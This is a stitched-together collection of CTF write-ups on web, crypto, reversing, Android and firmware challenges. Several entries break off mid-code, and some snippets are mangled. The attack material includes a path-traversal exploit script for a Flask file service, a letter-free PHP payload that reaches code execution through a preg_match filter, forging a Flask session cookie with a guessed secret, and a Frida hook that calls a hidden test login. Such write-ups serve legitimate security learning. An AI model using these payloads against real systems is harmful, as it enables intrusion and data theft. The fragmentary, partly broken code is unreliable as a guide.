pavucontrol GUI, select the "Recording" tab and specify that QSSTV should capture audio from the Null Output$ paplay -d virtual-cable <wav file>``` ## FlagrgbCTF{s10w_2c4n_1s_7h3_W4V3} ## Resources[m00nwalk writeup](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/m00nwalk.md) [SSTV Wiki](https://en.wikipedia.org/wiki/Slow-scan_television)
[Original Writeup](https://github.com/KaLiMaLi555/WriteUPs/blob/master/ChujowyCTF2020/crypto/babyRSA/README.md)https://github.com/KaLiMaLi555/WriteUPs/blob/master/ChujowyCTF2020/crypto/babyRSA/README.md
# Countdown writeup by [5225225](https://www.5snb.club) for [BLร…HAJ](https://blahaj.awoo.systems) **Web****455 points****63 solves** > This challenge is simple. All you have to do is wait for the countdown to end to get the flag.> The countdown ends one second before the end of the CTF, but you have fast fingers right? ## writeup You're sent to a website that contains a javascript countdown to a date. Above that is the phrase"Time is key.". Looking at the source code, it reads a cookie that contains 3 base64 parts joinedby dots, and only makes use of the first part. Decoding the first part of the cookie gives you aJSON object describing the date the page counts down to, but changing it doesn't get the server toreturn the flag. The format was similar to that of a JSON Web Token, but it couldn't be a JWT. Intentionally making the server return a 404 by going to a non-existent page gave us > # Not Found>> The requested URL was not found on the server. If you entered the URL manually please check your> spelling and try again. Looking online for that string, most of the results mention Flask(<https://github.com/pallets/flask>), a Python web framework. So the server's probably using flask. Searches online leads us to itsdangerous (<https://itsdangerous.palletsprojects.com/en/1.1.x/>),which is the library Flask uses to sign its cookies. The format looks to match, so we know it's aFlask cookie. To break it, I used flask-unsign (<https://github.com/Paradoxis/Flask-Unsign>), which is a toolthat can take a Flask cookie and crack the code using a wordlist. The built-in wordlist didn'tcrack the cookie, but then I went back and read the page, and tried both "time" and "Time" as thesecret key. "Time" turned out to be the key, so I could then re-sign the cookie with a date in thepast, paste that into my browser, and refresh the page, showing the flag.
Exploit:- reset simulator, which leaves rx_start set to 0 and overwrites firmware code- corrupt result of strlen in fast_puts by accident due to an unalignment between server RAM and provided RAM file. 2 byte unalignment causes strlen in fast_puts to return its arg (a large number), causing kernel to dump all strings in memory.- Could also write to start of memory before unalignment to dump all memory (REG32(LPT_REG_TX_BUFFER_END) = 0x10000; while(1);)```from pwn import * data = open("firmware.hex", "rb").read()data = data.replace(b'\n',b'')firmware = b''for i in range(0,len(data), 8): firmware += struct.pack("
ไปŽ้ข˜็›ฎไธŠ่ฏดๆ˜Žๆ˜ฏๅทฆ่พนๆœ‰97ไฝ็š„็ฉบๆ ผ๏ผŒๆ˜Žๆ–‡ๅฎž้™…ๅชๆœ‰31ๅญ—่Š‚ใ€‚ๅˆคๆ–ญๆ˜ฏไธบRSA ๅทฒ็Ÿฅๆ˜Žๆ–‡้ซ˜ไฝๆ”ปๅ‡ปใ€‚่„šๆœฌไปŽgithubไธŠๆ‰พๅˆฐ๏ผŒ่‡ช่กŒไฟฎๆ”นๅฆ‚ไธ‹๏ผš```import binasciie = 0x3b=0x2020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202000000000000000000000000000000000000000000000000000000000000000 #ๅ‰้ขๆ˜ฏ็ฉบๆ ผ็š„16่ฟ›ๅˆถ๏ผŒๅŽๆŽฅ0็š„ไธชๆ•ฐๆ˜ฏๆ˜Žๆ–‡ๅญ—่Š‚ๆ•ฐ็š„ไธคๅ€n=0x6552f27b9fa5b4dbbd9859769cc058051533752de33574ab1b316fdf144babd3b095064c2b161e27b8c0d5f12652ce901e08540824367785cf28c38247549b72355ecb9eac0a613c125b33003c4780032a096c9e26313fc74dd37421664d305754d7755086e3ae422eb4eeb13ab2dbe16cbbc97675bc862c697f29fb8e73aabb4ff4b4a735f7f0f14d05e203b0bda4bc6f4b2b03fe4ec14eae229a8e3a5d4f02941c69a1d1f83cb45d090710531c51e9ac16863731543083c88f35d2b58587b2c7fbe0359d0b67b761871385652ddac164aea06b7de404d914e6cb9953fc540b58627ba403687c96055d64530f3f8ef9c0a7b3d04abd5683ab90ac54f45645bc=0x1396c4db226f20a9076f0197826de0220f57cc4359107111b9eebf5e56b52e43e70aa2371b4db64260f0bbad80db0c7f8a121997bb02667a3d2d40d0e086209cd6e18568e251331a536d35257ae57bb7824e8dfbc6d1d1b421eab40ddfef686d8882806e44c353cc9efc2576c76ab856c7c2dbf27e43e2cc61da3f0aee94ed426f3b646981f60a965c9abe80bb09ea5def3db33929b1696d36f773c09989e511d7e16c99ddbe104331cd25e585483469ffeed7dbea1f2c829ed02eb98d6f4cb63ba67bc2aab0ddb44ef218141acd4a6ae14efa3dbf7d2834a6a40d054f1b0c49b757dabb75c5b91d6f415fe5c1e35d9f8a72200ac6a198279bde3e76eb5facekbits=248 #่ฟ™้‡Œ็š„ๆ•ฐๅญ—ๆ˜ฏๆ˜Žๆ–‡็š„8ๅ€ 1byte=8bitPR.<x> = PolynomialRing(Zmod(n))f = (x + b)^e-cx0 = f.small_roots(X=2^kbits, beta=1)[0]x=hex(int(x0)) string=eval(x)flag = binascii.a2b_hex(hex(string)[2:])print (flag) ```ๅŽ้ข่‡ช่กŒๆทปๅŠ ไบ†่งฃ็ ่„šๆœฌ๏ผŒ[https://sagecell.sagemath.org/ ](https:// )ๅœจ็บฟไธ€ๆŠŠๆขญใ€‚ flag๏ผšchCTF{D1d_y0u_us3_sm4l1_r00ts?}
First of all, i want to say, that author is kid in creating tasks. This code is awful.**works as intended (c)**.================================================================= Okay, we have source code (we could find it here: https://my-project.chujowyc.tf/source) ```#!/usr/bin/python from PyPDF4 import PdfFileReaderfrom io import BytesIOfrom uuid import uuid1from flask import Flask, render_template_string, request, make_response, redirect, abort app = Flask(__name__) def check_tekstfile(file): try: # pdf PdfFileReader(BytesIO(file)) except: # plik .txt for c in file: if c not in range(1, 128): return False return True return True @app.route('/')def index(): with open('index.html', 'r') as f: s = f.read() return render_template_string(s) @app.route('/source')def source(): with open('source.html', 'r') as f: s = f.read() return render_template_string(s) @app.route('/upload', methods=['POST'])def upload(): f = request.files['file'] s = f.read() if not check_tekstfile(s): return 'not a tekst' uuid = uuid1().hex with open('./files/' + f.filename + uuid, 'wb') as ff: ff.write(s) return 'link: Klik' @app.route('/files', methods=['GET'])def uploads(): try: return send_file('./files/' + request.args['filename']) except: return 'no file' # FIXME: z jakiegos powodu nie dziala concatowanie [email protected]('/concat', methods=['POST'])def concat(): with open('./files/' + request.args['filename1'], 'rb') as f2: s2 = f2.read() f = request.files['file'] s = f.read() if not check_tekstfile(s): return 'not a tekst' uuid = uuid1().hex with open('./files/' + f.filename + uuid, 'wb') as ff: ff.write(s2 + s) return 'link: Klik' @app.route('/flag/<name>', methods=['GET'])def flag(name): from pathlib import Path from subprocess import check_output import os path = Path('./secure/').joinpath(name) assert path.parent.name == 'secure' assert path.name != 'print_flag' assert open(path, 'rb').read(1) != ord('#') os.chmod(path, 0o700, follow_symlinks=False) return check_output([path]).decode('ascii')```The service has only 4 functions: upload, files, concat, flag (ans function **files** not working at all). As we can understand, function *files* function not working, and for this reason we didn't interest in it. Let's take attention to *flag* function. Here we check, if we take file from *secure* folder and filename isn't *print_flag*.It is easy to understand, that we need to get *print_flag*. Okey, let's try to use **path traversal** attack. 1) Upload file in **../secure/** folder (via concat)2) Use *concat* function with file **../secure/filename** and **../secure/print_flag**3) Use *flag/filename* to get flag. Final code: ```import requests as req URL = ""files = {"file": {"../secure/ctfby", ""} } r = req.post(URL + "concat?filename".format("../secure/print_flag"), files=files)uuid = r.text.split("filename")[1].split('">')[0] r = req.get(URL + "flag/{}".format("ctfby" + uuid))print(r.text)``` Join my telegram channel about CTF in Belarus! @ctfby
# Ye Old PRNG[Original writeup here](https://ohaithe.re/post/624092576653426688/rgbctf-2020-writeups) We are strongly suggested that this is an "old" PRNG. Googling for old random number generation implementations mostly brings up stuff about LCGs ([https://en.wikipedia.org/wiki/Linear_congruential_generator]) and LFSRs ([https://en.wikipedia.org/wiki/Linear_feedback_shift_register]), so we're expecting one of those. Connecting to the server, we can request numbers that are 3 to 100 digits long; it will then produce a sequence of random numbers for us. One of those first things to jump out is that each number appears to be entirely determined by the previous: in particular, when using 3 digits, "69" is always seen to generate "476", and this appears to occur rather frequently. Moving up to 100 digits numbers, it's pretty clear that it's not an LCG. An LCG is affine, so two inpurt numbers that are "a" apart lead to k*a difference in the results; from two (input,output) pairs we can determine what k is, and then check this against a third pair. It doesn't work. It could be an LFSR but it's not clear exactly how that would translate here. An LFSR generates a stream of bits, which would need to be converted to these integers. And as we noted, there doesn't seem to be any hidden state. Another big giveaway is that on the n=4 setting, we sometimes see loops like 4200 -> 6400 -> 9600 and so on, all ending with double zeros. There's something base-10ish going on here. A bit more digging on PRNGs brings us to [https://en.wikipedia.org/wiki/List_of_random_number_generators], where we see that the oldest one is the "middle square" algorithm. This fits perfectly: `69*69 = 4761 -> 476`, and `4200*4200 = 17640000 -> 6400`. We write this in Mathematica as `f[a_] := IntegerDigits[a^2, 10][[50, 150]]`, although a bit of padding comes in to play with `a^2` is not full length. We can predict numbers and we pass the server.
Opened the APK with JEB, and then we see one activity (`LoginActivity`) mentioned in the manifest.In the resources we have 2 raw files called `qa.p12` and `prod.p12`. The login activity contains two inputs and a button that has an onClick- sends those input values along with some other data to a function. It then toasts the result of that function. ![](https://i.imgur.com/QDg69s1.png) The function opens a connection to `https://certifiedapp.ctf.bsidestlv.com:8003/authenticate` and sends a POST request.The connection is encrypted using one of the keys provided in the resources (`prod.p12`) which was sent as argument to the function (the resource ID, `0x7F0C0000`). ![](https://i.imgur.com/uaqzg2z.png) The username and password are sent as HTTP's basic authorization header by combining them to `username:password` string and encoding with Base64. ![](https://i.imgur.com/ieFKegx.png) The function then returns the response it receives (By trying to login inside the app we see that the failure response is `Login Failed`). At first we thought that this was a timing attack scenario. We tried this using Frida, but it didn't get us anything.Then we saw the `TestActivity` which isn't included in the manifest but provided everything we needed. The `TestActivity` activity calls the same function that `LoginActivity` calls, but with different arguments. The key provided is the resource Id of `qa.p12` (`0x7F0C0001`) instead of `prod.p12`. The username sent is `token`. The password is base64, of the sha256 of the app's signature (which is also an opaque object that you can't really guess or calculate): ![](https://i.imgur.com/yXml0aC.png) We used Frida to obtain the app's signature: ![](https://i.imgur.com/Vcv1eJl.png) We calculated it's sha256 and encoded it with Base64, and then we could use Frida to hook the function and execute it with different arguments when submitting: ```Java.perform(function() { const loginclass = Java.use("a.b.k.o"); loginclass.a.overload('android.content.Context', 'int', 'java.lang.String', 'java.lang.String', 'boolean').implementation = function(ctxt, integ, username, password, someBool) { const rawFunctionCall = this.a(ctxt, 0x7F0C0001, "token", "p9/BXgbp6d1vRtHIcCbi6Vm6faNALQIhYzQ6jXCpUvk=", false); const output = rawFunctionCall; console.log(output); return output; } })``` Flag:```BSidesTLV2020{I_L1k3_B1g_Apps_And_I_cannot_l13}```
[Original Writeup](https://github.com/KaLiMaLi555/WriteUPs/blob/master/ChujowyCTF2020/crypto/grownupRSA/README.md)https://github.com/KaLiMaLi555/WriteUPs/blob/master/ChujowyCTF2020/crypto/grownupRSA/README.md
# Web Warm-up ![Challenge Description](WebWarmup.png) We are given a link to <http://69.90.132.196:5003/?view-source> It leads us to a webpage with this content ```php) we get to know that the provided regular expression checks for any alphabets present in the provided string(that would be the value of the $_GET['warmup'] parameter in this case). Lets evaluate the preg_match expression in a php interpreter. ```bashbash => php -aInteractive mode enabled php > echo preg_match('/[A-Za-z]/is', "abcd");1php > echo preg_match('/[A-Za-z]/is', "1234");0``` So if we want our input to be executed, our input must not contain any alphabets and should be less that 60 characters in length. ## Developing the exploit [This](https://ctf-wiki.github.io/ctf-wiki/web/php/php/#preg_match-code-execution) link contains some information on preg_match check bypassing. The above reference explains a few things about PHP. 1. XORing strings in PHP 2. '_' variables 3. Calling functions through strings By understanding these concepts, we can understand that we can construct strings through XORing other strings and call PHP functions through those strings. The desired function call we would like to make is ```phpeval("readfile('flag.php');")``` But the above won't work because we cannot construct the '.' character without using any alphabets. So we have to go for a different approach. ```phpeval("readfile(glob('*')[0])") // Assuming that the flag.php is the first file in the directory.``` Since the function names 'readfile' and 'glob' are the ones containing alphabets, lets construct them by XORing 2 strings which do not contain alphabets. ```php// ^ stands for XOR$_="@:>;963:"^"2_______"; // readfile$__="____"^"830="; // glob$_($__('*')[0]); // readfile(glob('*'))``` The final exploit is ```php$_="@:>;963:"^"2_______";$__="____"^"830=";$_($__('*')[0]);``` By urlencoding this payload and adding it in the request to the website gives us the flag. ![Flag](flag.png) ## References 1. <https://ctf-wiki.github.io/ctf-wiki/web/php/php/#preg_match-code-execution>
# LYCH King[Original writeup here](https://ohaithe.re/post/624092576653426688/rgbctf-2020-writeups/) In retrospect, perhaps this should have been done black-box, like almost everything in this category (ARM1/ARM2/SadRev1/SadRev2) was. But hey, who doesn't want to reverse compiled Haskell? Yeah, this binary is Haskell that was compiled by GHC. That might be reasonably accessible to you, if you (1) know Haskell, (2) know how STG machines work, and (3) know GHC's conventions for storing thunks and STG type data. I meet, like, 0.5/3 requirements. Goolging for "Haskell decompiler" quickly turns up [https://github.com/gereeter/hsdecomp] as exactly what we need: a decompiler for GHC-compiled 64-bit executables. Great! Let's try it out! ```$ python3 runner.py ../../rgbctf/lych/lichError in processing case at c3uZ_info Error: Error Location: 140 Disassembly: mov rax, qword ptr [rbp + 8] mov rcx, rbx and ecx, 7 cmp rcx, 1 jne 0x407d33 add r12, 0x18 cmp r12, qword ptr [r13 + 0x358] ja 0x407d48 mov qword ptr [r12 - 0x10], 0x407c28 mov qword ptr [r12], rax lea rbx, [r12 - 0x10] mov rsi, rbx mov r14, rax mov ebx, 0x4bd600 add rbp, 0x10 jmp 0x49cf08 Main_main_closure = >>= $fMonadIO getArgs (\s3mc_info_arg_0 -> $ putStrLn ((\Main_a_info_arg_0 -> !!ERROR!!) (head s3mc_info_arg_0))``` The results are a bit disappointing. It got as far as recognizing that the program is printing out some function of the input, but then it errored. How do we handle errors? We comment them out! [https://github.com/Timeroot/hsdecomp/commit/a9244145d89019b2e8b0f45a9e23f5c043ec8155] Basically forcing the decompiler to plow through broken stuff. (We also fix one incorrect assumption about `jae` being the only branch used in a certain type of case statement.) We definitely don't get correct decompilation, but we get a lot more than before. ```Main_main_closure = >>= $fMonadIO getArgs (\s3mc_info_arg_0 -> $ putStrLn ((\Main_a_info_arg_0 -> case == r3jo_info Main_a_info_arg_0 [] of c3uZ_info_case_tag_DEFAULT_arg_0@_DEFAULT -> zipWith (on (\s3m3_info_arg_0 s3m3_info_arg_1 s3m3_info_arg_2 s3m3_info_arg_3 s3m3_info_arg_4 -> . (\s3m1_info_arg_0 s3m1_info_arg_1 s3m1_info_arg_2 s3m1_info_arg_3 s3m1_info_arg_4 -> fmap $fFunctor-> chr) (\s3m2_info_arg_0 s3m2_info_arg_1 s3m2_info_arg_2 s3m2_info_arg_3 s3m2_info_arg_4 -> xor $fBitsInt)) ord) Main_a_info_arg_0 ((\Main_g_info_arg_0 Main_g_info_arg_1 -> case == r3jo_info Main_g_info_arg_0 [] of c3se_info_case_tag_DEFAULT_arg_0@_DEFAULT -> take (length $fFoldable[] Main_g_info_arg_0) (intercalate [] (map (\s3lV_info_arg_0 s3lV_info_arg_1 s3lV_info_arg_2 s3lV_info_arg_3 s3lV_info_arg_4 -> show $fShowInteger) (Main_v_info Main_g_info_arg_1 (length $fFoldable[] Main_g_info_arg_0) (S# 0)))) ) Main_a_info_arg_0 (S# 1997) ) ) (head s3mc_info_arg_0) ) )r3jo_info = $fEq[] $fEqChar Main_v_info = \Main_v_info_arg_0 Main_v_info_arg_1 Main_v_info_arg_2 -> case == $fEqInteger Main_v_info_arg_0 (Main_r_info Main_v_info_arg_0) of c3qB_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case >= $fOrdInteger Main_v_info_arg_2 (toInteger $fIntegralInt Main_v_info_arg_1) of c3qM_info_case_tag_DEFAULT_arg_0@_DEFAULT -> : Main_v_info_arg_0 (Main_v_info ((\Main_p_info_arg_0 -> + $fNumInteger Main_p_info_arg_0 (Main_r_info Main_p_info_arg_0)) Main_v_info_arg_0) Main_v_info_arg_1 (+ $fNumInteger Main_v_info_arg_2 (Main_mag_info Main_v_info_arg_0))) Main_mag_info = \Main_mag_info_arg_0 -> case == $fEqInteger Main_mag_info_arg_0 (S# 0) of c3mD_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case > $fOrdInteger Main_mag_info_arg_0 (S# 0) of c3mI_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case < $fOrdInteger Main_mag_info_arg_0 (S# 0) of c3nk_info_case_tag_DEFAULT_arg_0@_DEFAULT -> patError 4871050 Main_r_info = \Main_r_info_arg_0 -> case == $fEqInteger Main_r_info_arg_0 (S# 0) of c3oc_info_case_tag_DEFAULT_arg_0@_DEFAULT -> + $fNumInteger (* $fNumInteger (mod $fIntegralInteger Main_r_info_arg_0 (S# 10)) (^ $fNumInteger $fIntegralInteger (S# 10) (- $fNumInteger (Main_mag_info Main_r_info_arg_0) (S# 1)))) (Main_r_info (div $fIntegralInteger Main_r_info_arg_0 (S# 10)))``` Even if you know Haskell, this is pretty unreadable, because * Everything is named very obtusely * Everything is pretty in prefix notation (e.g. `+ (f X) ((g h) Y))` instead of `f X + g h Y`) * A good chunk of code is missing. We can't fix the third part, but we can fix the first two, and use our pRoGraMmErs inTUiTioN to fill in the blanks for the third. Cleaned up: ```Main_main_closure = >>= $fMonadIO getArgs (\ARGS -> $ putStrLn ((\ARG0 -> case (ARG0 == "") of __default -> zipWith (on (. (fmap $fFunctor-> chr) (xor $fBitsInt)) ord) HEAD ((\HEAD0 YY -> case (XX == "") of __default -> take (length HEAD0) (intercalate [] (map show (Function_V YY (length HEAD0) 0))) ) HEAD 1997 ) ) (head ARGS) ) ) String_Eq = $fEq[] $fEqChar -- Adds X to its digital reversal, repeatedly, in a loop-- Each time it adds the current number of digits in X to Z, a running counter (starts at 0)-- Continues until Z exceeds Y, the limit. Y is the length of HEAD0.Function_V X Y Z = case (X == (Function_R X)) of __default -> case (Z >= (toInteger Y)) of __default -> : X (Function_V ((X + (Function_R X))) Y (Z + (Function_mag X))) -- decompilation broke down here entirely-- but based on context, will guess it's the magnitude (Base 10) of A0.Function_mag A0 = case (A0 == 0) of __default -> case (A0 > 0) of __default -> case (A0 < 0) of __default -> patError "lich_cipher.hs:(20,1)-(23,15)|function mag" -- returns R(X/10) + (X%10)*(10^mag(X)).-- this computes the _base 10 digit reversal_ of X.Function_R X = case (X == 0) of __default -> ( (X mod 10) * (10 ^ ((Function_mag X) - 1))) + (Function_R (X div 10))``` So now the operation is pretty clear. It takes a number, 1997, and repeatedly adds it to its own base-10 reversal. It continues this until (a) it reaches a palindromic sum or (b) we have more terms than we have characters in our input string. This is what `Function_V` accomplishes, using `Function_mag` and `Function_R` as components. Then `intercalate [] (map show ...)` turns these integers into strings and joins them. So for the sequence `1997 -> 1997 + 7991 = 9988 -> 9988 + 8899 = 18887 -> ...`, we get the list `["1997", "9988", "18887", ...]`, and then the string `"1997998818887"...`. The `zipWith ... fmap` structure is a bit obtuse, but we see `xor`, and `HEAD` (the input) and the digit string, so we can guess that it's XORing the input with the magic digit string. A quick trial of the program confirms this. Wow, so it's just XORing the input with this magic string. Maybe I should have noticed that the program was its own inverse...? Nah. So, we have encrypted text, and the program undoes itself. But we're told the problem "has been changed very slightly" since it was first written. Two options: patch the program, or reimplement it. Patching it in IDA is easy, since searching for the bytes `CD 07` (1997 in hex) turns it up right away. The relevant instruction is at 0x407C57 for those curious. I try a few different values (1997 is a year, right? So maybe 2020? 2019? 2000? 1996? 1998? Or maybe 2008, the year that the Lich King came out for WoW?) but none work, and it's kind of slow doing this by patching it in IDA over and over. So I reimplement the code to try a wide variety of seeds: ```img = "./lich" fh = open('./cipher', 'rb')goal = bytearray(fh.read()) fh = open('./uncipher', 'rb')other = bytearray(fh.read()) def revDig(num): rev_num=0 while (num > 0): rev_num = rev_num*10 + num%10 num = num//10 return rev_num # Function to check whether the number is palindrome or not def isPalindrome(num): return (revDig(num) == num) def getPad(seed): res = "" while not isPalindrome(seed) and len(res) < 1000: res += str(seed) seed += revDig(seed) return res def xor_b_str(a,b): xored = [] for i in range(min(len(a), len(b))): xored_value = a[i%len(a)] ^ ord(b[i%len(b)]) xored.append(chr(xored_value)) return ''.join(xored) for seed in range(0,2000): pad = getPad(seed) #print(pad) out = xor_b_str(goal, pad) print(seed) print(out)``` Then `python3 reimpl_lich.py | grep -B1 rgb` gives ```1495Khm'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:--1585Kil'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:--1675Kjc'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:--1765Kkb'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:--1855Kda'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:--1945Ke`'jaeden created the Lich King ages ago from the spirit of the orc shaman Ner'zhul to raise an undead army to conquer Azeroth for the Burning Legion. rgbctf{the flag is just rgb lol} Initially trapped within the Frozen Throne with Frostmourne, the Lich King eventually betrayed Kil'jaeden and merged with the human Arthas Menethil. When Frostmourne was destroyed and Arthas perished, Bolvar Fordragon became the new Lich King, imprisoning the master of the Scourge within the Frozen Throne once more in order to protect the world from future threats.:``` and we have a flag. And in fact, a number of other seeds would have worked too, it seems. It was just shortly after solving that I realized why 1997: googling "reverse digits and add" yields [https://en.wikipedia.org/wiki/Lychrel_number], which is about the process involved here. 1997 is a seed that generates an (apparently) infinite sequence of numbers. The functioning seeds are all also *Lych*rel numbers, hence the name of the challenge.
# [insert creative algo chall name] writeup by [5225225](https://www.5snb.club) for [BLร…HAJ](https://blahaj.awoo.systems) **Misc****449 points****67 solves** > Find the total number of unique combinations for input values of x = 4 and n = 12>> There exists a set of values, r, with values binary increasing (2^0, 2^1, ... 2^(n-1))>> A combination is a set of x values where each value is generated by creating x subsets of r with> all values within a subset being summed>> The x subsets should use all values in r exactly once. (full challenge text in challenge.txt) ## Writeup This is fairly simple stuff, easily translated into python. I installed more-itertools(<https://more-itertools.readthedocs.io/en/stable/)> for `set_partitions`, which makes this problemtrivial. ```pythonimport more_itertools x = 4n = 12 r = [2**i for i in range(n)] parts = more_itertools.set_partitions(r, k = x) summed = []for p in parts: o = set() for i in p: o.add(sum(i)) summed.append(o) print(len(summed))```
# Advanced Reversing Mechanics 2[Original writeup here](https://ohaithe.re/post/624092576653426688/rgbctf-2020-writeups) This problem is similar in structure to ARM1, but `encrypt_flag()` looks considerably more complicated: ```_BYTE *__fastcall encryptFlag(_BYTE *result){ unsigned int v1; // r3 _BYTE *i; // r1 int v3; // r3 bool v4; // zf unsigned int v5; // r3 unsigned int v6; // r2 __int64 v7; // r2 v1 = (unsigned __int8)*result; if ( *result ) { for ( i = result; ; v1 = (unsigned __int8)*i ) { v6 = (unsigned __int8)(v1 - 10); if ( v1 <= 'O' ) { LOBYTE(v1) = v1 + 'F'; if ( v6 <= 'P' ) LOBYTE(v1) = v6; } *i++ = (((unsigned __int8)(v1 - 7) ^ 0x43) << 6) | ((unsigned __int8)((v1 - 7) ^ 0x43) >> 2); v7 = i - result; if ( !*i ) break; v3 = v7 - 5 * (((signed int)((unsigned __int64)(0x66666667LL * (signed int)v7) >> 32) >> 1) - HIDWORD(v7)); v4 = v3 == 2; v5 = (((unsigned __int8)*i << (-(char)v3 & 7)) | ((unsigned int)(unsigned __int8)*i >> v3)) & 0xFF; if ( v4 ) LOBYTE(v5) = v5 - 1; *i = v5; } } return result;}``` ... but why reverse when we can black-box? Some playing around reveals that the Nth character of output only depends on the first N characters of input. So let's use this function, encrypt_flag, as an oracle, and try progressively longer things until we get our goal. We write a solver: ```#include "stdio.h"#include "string.h" #define HIDWORD(foo) ((foo >> 32) & 0xFFFFFFFF) char* encryptFlag(char *result){ unsigned char v1; // r3 char *i; // r1 int v3; // r3 char v4; // zf unsigned int v5; // r3 unsigned int v6; // r2 unsigned long long v7; // r2 v1 = (unsigned char)*result; if ( *result ) { for ( i = result; ; v1 = (unsigned char)*i ) { v6 = (unsigned char)(v1 - 10); if ( v1 <= 'O' ) { v1 = v1 + 'F'; if ( v6 <= 'P' ) v1 = v6; } *i++ = (((unsigned char)(v1 - 7) ^ 0x43) << 6) | ((unsigned char)((v1 - 7) ^ 0x43) >> 2); v7 = i - result; if ( !*i ) break; v3 = v7 - 5 * (((signed int)((unsigned long long)(0x66666667LL * (signed int)v7) >> 32) >> 1) - HIDWORD(v7)); v4 = v3 == 2; v5 = (((unsigned char)*i << (-(char)v3 & 7)) | ((unsigned int)(unsigned char)*i >> v3)) & 0xFF; if ( v4 ) v5 = v5 - 1; *i = v5; } } return result;} void main(int argc, char** argv){ char* goal = "\x0A\xFB\xF4\x88\xDD\x9D\x7D\x5F\x9E\xA3\xC6\xBA\xF5\x95\x5D\x88\x3B\xE1\x31\x50\xC7\xFA\xF5\x81\x99\xC9\x7C\x23\xA1\x91\x87\xB5\xB1\x95\xE4"; int len = strlen(goal); printf("Len %d\n", len); char trial[35+1]; char check[35+1]; for(int l=0;l<35;l++){ trial[l+1] = 0; for(int c=1;c<200;c++){ trial[l] = c; strcpy(check,trial); encryptFlag(check); if(!strncmp(check, goal, l+1)) break; } printf("So far %s\n", trial); } puts(trial);}``` and it outputs ```Len 35So far rSo far rgSo far rgbSo far rgbCSo far rgbCTSo far rgbCTFSo far rgbCTF{So far rgbCTF{ASo far rgbCTF{ARSo far rgbCTF{ARMSo far rgbCTF{ARM_So far rgbCTF{ARM_aSo far rgbCTF{ARM_arSo far rgbCTF{ARM_ar1So far rgbCTF{ARM_ar1tSo far rgbCTF{ARM_ar1thSo far rgbCTF{ARM_ar1thmSo far rgbCTF{ARM_ar1thm3So far rgbCTF{ARM_ar1thm3tSo far rgbCTF{ARM_ar1thm3t1So far rgbCTF{ARM_ar1thm3t1cSo far rgbCTF{ARM_ar1thm3t1c_So far rgbCTF{ARM_ar1thm3t1c_rSo far rgbCTF{ARM_ar1thm3t1c_r0So far rgbCTF{ARM_ar1thm3t1c_r0cSo far rgbCTF{ARM_ar1thm3t1c_r0ckSo far rgbCTF{ARM_ar1thm3t1c_r0cksSo far rgbCTF{ARM_ar1thm3t1c_r0cks_So far rgbCTF{ARM_ar1thm3t1c_r0cks_fSo far rgbCTF{ARM_ar1thm3t1c_r0cks_faSo far rgbCTF{ARM_ar1thm3t1c_r0cks_fadSo far rgbCTF{ARM_ar1thm3t1c_r0cks_fad9So far rgbCTF{ARM_ar1thm3t1c_r0cks_fad96So far rgbCTF{ARM_ar1thm3t1c_r0cks_fad961So far rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}```
The `main` program provides a fake flag(uiuctf{v3Ry_r341\_@rTT}), but by looking into the pointers to the fake flag, I found some weird strings at 0x555555554f80 to 0x55555555505f. Also, the fake flag string is referenced at 0x55555555491a. And this func_91a is called at 0x555555554a5a. So, this func_a5a xor each byte from 0x555555554973 to 0x555555554973+0x7e with a constant value returned by func_91a. However, the xor-ed part is in a RX segment and is not writable, so I manually edit the code by python. ```f = open("ReddsArt_raw.bin", "rb")code = f.read()f.close() # print hexdump(code[0x973:])header = code[0:0x973]body = code[0x973:0x973 + 0xe7]footer = code[0x973 + 0xe7:]new_body = "".join([chr(ord(x) ^ 0x1e) for x in body])new_code = header + new_body + footer new_f = open("new_ReddsArt", "wb")new_f.write(new_code)new_f.close()```Now ghidra gives the disassembly code and decompiled code at 0x555555554973. Here's the psudocode:```void magic(void) { char cVar1; size_t sVar2; ulong uVar3; int local_2c; int local_28; cVar1 = *(char *)((long)cRam0000000000000009 + 9); local_2c = 0; while( true ) { sVar2 = strlen(PTR_s_hthzgubI>*ww7>z+Ha,m>W,7z+hmG`_555555756028); if (sVar2 <= (ulong)(long)local_2c) break; 